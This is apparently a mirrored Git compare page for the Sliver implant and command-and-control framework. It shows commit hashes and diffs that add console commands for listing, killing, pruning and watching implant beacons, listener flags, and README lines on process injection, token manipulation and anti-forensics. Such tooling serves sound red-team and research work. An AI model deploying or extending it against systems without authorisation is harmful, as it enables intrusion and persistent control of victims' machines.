mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-09 09:59:43 -10:00
Compare commits
283
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6553084d4e | ||
|
|
21fa8c71d8 | ||
|
|
a37749bf50 | ||
|
|
0c7c7b54d3 | ||
|
|
832ac585f7 | ||
|
|
14492dfbcb | ||
|
|
1e283e54a9 | ||
|
|
f679e99403 | ||
|
|
aab7143708 | ||
|
|
886ab348f4 | ||
|
|
8211f8f0e4 | ||
|
|
483654d58f | ||
|
|
b87a7034a9 | ||
|
|
edc6d21c23 | ||
|
|
31ca964e6c | ||
|
|
735ae74f1d | ||
|
|
49679538eb | ||
|
|
000ca54a15 | ||
|
|
eb615f3add | ||
|
|
acb0f857b3 | ||
|
|
610d8b18c9 | ||
|
|
edf126c149 | ||
|
|
1794d0cebd | ||
|
|
e66d563f65 | ||
|
|
8dd2b5d7ce | ||
|
|
10246681ba | ||
|
|
ed19017941 | ||
|
|
c0116cc9d5 | ||
|
|
a890812a0a | ||
|
|
b1922bce73 | ||
|
|
47aaeb0225 | ||
|
|
61c844db44 | ||
|
|
35bbc61a9a | ||
|
|
6453f477f4 | ||
|
|
b0709a364a | ||
|
|
2e65e1842f | ||
|
|
c068664854 | ||
|
|
e9debcc2a4 | ||
|
|
7ae2d0a481 | ||
|
|
b62e3354e0 | ||
|
|
e55afa7efe | ||
|
|
65dc11a40e | ||
|
|
2620673f50 | ||
|
|
e22d3ac58e | ||
|
|
604c3480cf | ||
|
|
ca8544a169 | ||
|
|
e1713bd418 | ||
|
|
0649a2680b | ||
|
|
280f5c6be7 | ||
|
|
77ddfd8013 | ||
|
|
48d2eed385 | ||
|
|
36d531fa86 | ||
|
|
ab2ab45edc | ||
|
|
2b2c1bdc13 | ||
|
|
983b5476bd | ||
|
|
cbd95a2003 | ||
|
|
a3b1693a41 | ||
|
|
434ca2fee9 | ||
|
|
92ef847a59 | ||
|
|
800c584397 | ||
|
|
b2a2dac63b | ||
|
|
954616b5a3 | ||
|
|
2cd4264101 | ||
|
|
b8d78c56e9 | ||
|
|
c5262aa807 | ||
|
|
17dba3543d | ||
|
|
7b0a83027e | ||
|
|
f46f7a36ff | ||
|
|
a369c46952 | ||
|
|
907ef9ca2f | ||
|
|
4df5c78b7e | ||
|
|
3765e016b4 | ||
|
|
6fa06e8d74 | ||
|
|
c3841efcef | ||
|
|
508e9ab9d9 | ||
|
|
433482031c | ||
|
|
a4a94eca98 | ||
|
|
ecea6049a8 | ||
|
|
1767c34f47 | ||
|
|
6fd1e4802b | ||
|
|
f745d9524e | ||
|
|
a8464d5b0c | ||
|
|
cc7a56e07b | ||
|
|
cdbf93d64b | ||
|
|
fdd319f6f3 | ||
|
|
22f840acbd | ||
|
|
9d200bb2aa | ||
|
|
17b6cf7a5e | ||
|
|
22efd18301 | ||
|
|
4d45883c72 | ||
|
|
b98bf6ef53 | ||
|
|
65ea935750 | ||
|
|
9865ee2396 | ||
|
|
ca7cf74387 | ||
|
|
9eb6fda037 | ||
|
|
1a5eb1c118 | ||
|
|
f43d01b4b0 | ||
|
|
96fe3c7db8 | ||
|
|
8188ba689d | ||
|
|
4517684728 | ||
|
|
ab1b72f410 | ||
|
|
fd83024e4b | ||
|
|
18ee8e5133 | ||
|
|
5a96962611 | ||
|
|
85b592b2b9 | ||
|
|
91a569f389 | ||
|
|
b646ca835c | ||
|
|
26993f797c | ||
|
|
ec743b2e85 | ||
|
|
0ac43c69d6 | ||
|
|
a2f8bac4b1 | ||
|
|
2c9643b404 | ||
|
|
1239b5fd87 | ||
|
|
d904a74d14 | ||
|
|
60aaeebe0b | ||
|
|
000ecb51eb | ||
|
|
fbddd67930 | ||
|
|
10f7b000b4 | ||
|
|
2f3ebbfcd5 | ||
|
|
b54d97b497 | ||
|
|
eedfb272a5 | ||
|
|
47857e903c | ||
|
|
0da314d925 | ||
|
|
c132b14272 | ||
|
|
f6b7e07653 | ||
|
|
60cbf09520 | ||
|
|
0090e8dfd8 | ||
|
|
099753fa74 | ||
|
|
6685bf486e | ||
|
|
6d5a288626 | ||
|
|
3bf157b29d | ||
|
|
146be0e814 | ||
|
|
065fc3ffa6 | ||
|
|
d3da84731f | ||
|
|
b451d90a33 | ||
|
|
c01ace4a67 | ||
|
|
e8d22af3bc | ||
|
|
50f83c958b | ||
|
|
6ac9a16aa7 | ||
|
|
caad9de26c | ||
|
|
70805d04f7 | ||
|
|
a3b98716a7 | ||
|
|
24f6a9d8ab | ||
|
|
d6b5571c7e | ||
|
|
c0b08cbd42 | ||
|
|
d567a21f8c | ||
|
|
105d80cdb7 | ||
|
|
d1627c9030 | ||
|
|
661732012d | ||
|
|
f55f248fbc | ||
|
|
6817c5a117 | ||
|
|
6b31d6985a | ||
|
|
47357c346a | ||
|
|
970ff6b80b | ||
|
|
126dc44c44 | ||
|
|
4abc395485 | ||
|
|
0f5284fb2d | ||
|
|
0f4dc27498 | ||
|
|
7ea5039e9a | ||
|
|
b1e4a016d4 | ||
|
|
785810ebea | ||
|
|
5779f337d0 | ||
|
|
ab93f0d1c6 | ||
|
|
d4cc59d1e6 | ||
|
|
03d1f92441 | ||
|
|
77ddf234bd | ||
|
|
a53bc17665 | ||
|
|
1682f58801 | ||
|
|
3d4e76990c | ||
|
|
d97fb249a8 | ||
|
|
e8714dbdec | ||
|
|
f69a4f8b92 | ||
|
|
c2925a8a57 | ||
|
|
6484b0c5a6 | ||
|
|
338b8bb5b2 | ||
|
|
15ca3871dd | ||
|
|
f11a1333bb | ||
|
|
4a2c9cb50e | ||
|
|
c8928b4864 | ||
|
|
13ecb9782b | ||
|
|
05ce79e986 | ||
|
|
a3c7d057f6 | ||
|
|
b3277d0f4c | ||
|
|
1f0e9d6995 | ||
|
|
478f677f55 | ||
|
|
7463298de1 | ||
|
|
7306d439e1 | ||
|
|
66d6e8043a | ||
|
|
11505d8f94 | ||
|
|
452d7b7fce | ||
|
|
606c5ac948 | ||
|
|
8ee4f786b4 | ||
|
|
79a96368d0 | ||
|
|
8176068bb5 | ||
|
|
ff8de9922e | ||
|
|
13cbf53851 | ||
|
|
56f339c8a3 | ||
|
|
e31fd56730 | ||
|
|
9af5d9126f | ||
|
|
d9499c26a1 | ||
|
|
5bd101bc47 | ||
|
|
0e1d21bb28 | ||
|
|
1f5a950752 | ||
|
|
3a1ff3fa52 | ||
|
|
9db930b10f | ||
|
|
2fa6bc2e59 | ||
|
|
2e3f92ed22 | ||
|
|
c552a2fd9f | ||
|
|
e729576a6d | ||
|
|
c9f04b0a1c | ||
|
|
a439c39d64 | ||
|
|
0471a219c4 | ||
|
|
6631727242 | ||
|
|
c21171d739 | ||
|
|
98aa4ed58c | ||
|
|
4ad1f1a561 | ||
|
|
d0a38bb792 | ||
|
|
ee8603b30c | ||
|
|
11ea01819f | ||
|
|
da39a82b83 | ||
|
|
3ce730a469 | ||
|
|
f52ee8c28f | ||
|
|
150511df9b | ||
|
|
3e8c3fc02e | ||
|
|
019d0d40f6 | ||
|
|
268aa95169 | ||
|
|
7775880277 | ||
|
|
ba541ffd43 | ||
|
|
a60cc86c9a | ||
|
|
0099e06cc6 | ||
|
|
b0fdec2700 | ||
|
|
8419cf7442 | ||
|
|
d470543f98 | ||
|
|
84d41f063b | ||
|
|
c876f34cd0 | ||
|
|
7ba3f87afb | ||
|
|
008f9c6fde | ||
|
|
80e6c2a24e | ||
|
|
69842674d2 | ||
|
|
b2f9ccfab6 | ||
|
|
358b6ab20d | ||
|
|
268db3ce00 | ||
|
|
03dfb2f5d9 | ||
|
|
d4e809d889 | ||
|
|
6f6fd8f0f5 | ||
|
|
f5e374293c | ||
|
|
8f12e35124 | ||
|
|
b27809d9ba | ||
|
|
377d56bda3 | ||
|
|
4bcb0cb61f | ||
|
|
9d6870e792 | ||
|
|
93b1e3a7b4 | ||
|
|
90f799a6f2 | ||
|
|
251423bc28 | ||
|
|
03957f4d01 | ||
|
|
a7d07e372a | ||
|
|
364b0d6f57 | ||
|
|
52ef179988 | ||
|
|
79a50d24fe | ||
|
|
4e23091147 | ||
|
|
98e7f7abf8 | ||
|
|
92e833a481 | ||
|
|
b442f95a7b | ||
|
|
da8d5b8a0c | ||
|
|
3151b559a6 | ||
|
|
b02489a5d3 | ||
|
|
eb57802c28 | ||
|
|
767644ddc3 | ||
|
|
185913c6eb | ||
|
|
e3093bee6e | ||
|
|
f6014393be | ||
|
|
90de40f1ee | ||
|
|
cc2a5bb622 | ||
|
|
3d7889183a | ||
|
|
d2297f9423 | ||
|
|
de7fd664cd | ||
|
|
1549b894fa | ||
|
|
32119e09dc | ||
|
|
4dd5319987 | ||
|
|
860452c418 | ||
|
|
4d64866a15 | ||
|
|
1d859f99c8 | ||
|
|
c3f5f2bf85 |
No files matched your search
+2
-1
@@ -24,9 +24,10 @@ Contributing to Sliver
|
||||
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
|
||||
* Whenever possible, use the following algorithms/encryption modes:
|
||||
- AES-GCM-256
|
||||
- RSA-OAEP-2048 / RSA-OAEP-4096
|
||||
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
|
||||
- Curves P521, P384, P256
|
||||
- Curve25519, XSalsa20, and Poly1305 (Nacl)
|
||||
- ChaCha20Poly1305
|
||||
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
|
||||
- MD5
|
||||
- SHA1
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17
|
||||
FROM golang:1.17.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -123,6 +123,7 @@ pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: clean-all
|
||||
@@ -136,4 +137,4 @@ clean-all: clean
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server *.exe
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -20,9 +20,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-anti-anti-forensics
|
||||
* Anti-fingerprinting features
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
@@ -43,3 +45,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -40,6 +40,7 @@ type ClientConfig struct {
|
||||
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
||||
LHost string `json:"lhost"`
|
||||
LPort int `json:"lport"`
|
||||
Token string `json:"token"`
|
||||
CACertificate string `json:"ca_certificate"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
Certificate string `json:"certificate"`
|
||||
|
||||
@@ -24,16 +24,54 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
beacon, err := GetBeacon(con, killFlag)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
|
||||
if killAll {
|
||||
beacons, err := GetBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -43,61 +81,89 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
}
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
|
||||
for _, beacon := range beacons {
|
||||
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
beacon.Transport,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
|
||||
next,
|
||||
if 182 < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
}
|
||||
return tw
|
||||
}
|
||||
@@ -38,6 +38,8 @@ var (
|
||||
ErrNoBeacons = errors.New("no beacons")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
// ErrBeaconNotFound
|
||||
ErrBeaconNotFound = errors.New("no beacon found for this ID")
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
@@ -97,3 +99,30 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrBeaconNotFound
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
return beacons, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
pruneBeacons := []*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
}
|
||||
if len(pruneBeacons) == 0 {
|
||||
con.PrintInfof("No beacons to prune.\n")
|
||||
return
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
}()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case <-time.After(time.Second):
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
}
|
||||
con.Printf("\nPress enter to stop.\n")
|
||||
con.Printf(console.UpN+"\r", len(lines)+2)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
done <- true
|
||||
}()
|
||||
return done
|
||||
}
|
||||
+193
-14
@@ -36,6 +36,8 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
@@ -49,6 +51,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
@@ -189,8 +192,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -232,6 +236,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("w", "website", "", "website name (see websites cmd)")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -254,10 +261,12 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("w", "website", "", "website name (see websites cmd)")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
